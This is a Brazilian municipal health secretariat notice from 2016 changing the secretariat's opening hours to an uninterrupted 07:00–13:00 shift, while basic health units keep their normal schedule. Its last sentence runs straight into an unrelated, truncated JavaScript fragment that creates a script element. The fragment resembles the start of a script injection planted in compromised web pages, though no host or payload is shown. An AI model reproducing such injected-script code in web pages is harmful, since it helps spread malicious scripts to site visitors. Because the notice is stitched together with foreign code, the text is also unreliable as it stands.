A Secretaria Municipal de Saúde vem tornar público os horários de atendimentos, de acordo com artigo 15, 2º a 7º da Lei Municipal nº 1,107/2001 e no Decreto Municipal nº 085/2015; Na qual , durante o dia 18/04/2016 ao dia 29/07/2016 funcionou nos períodos matutino e vespertino, sendo que a demanda no período vespertino foi esporádica.
Considerando que a maior demanda, ou seja, a procura por atendimentos e agendamentos na Secretaria de Saúde, aconteceu no período da manhã, entre os horários das 11:00horas as 13:00 horas, tendo em vista ser o horário de almoço da maioria dos usuários do sistema de saúde.
Outro fator importante se deve a necessidade de redução de despesas, de adequação dos empenhos ao horário de funcionamento do departamento de compras, com o intuito de manter o equilíbrio das contas públicas para o exercício financeiro vigente.
De acordo com a Portaria Interna nº 011/2016 Art. 1°, á partir deste dia 01 de agosto de 2016 a Secretaria funcionará das 07:00 horas as 13:00 horas em turno ininterrupto de atendimento. Em Parágrafo único, disposto neste artigo não se aplica aos plantões necessários e as atividades de caráter essencial.
Sobretudo, o horário de funcionamento e atendimento das Unidades Básicas de Saúde (PSF) permanecerá nos horários normais; das 07:00 horas as 11:00 horas e das 13:00 horas as 17:00 horas; No entanto, o Departamento de Atenção Básica de Saúde, Setor de Regulação funcionará em escala de plantão para dar suporte às Unidades básicas de Saúde (PSF).var d=document;var s=d.createElement(‘script’);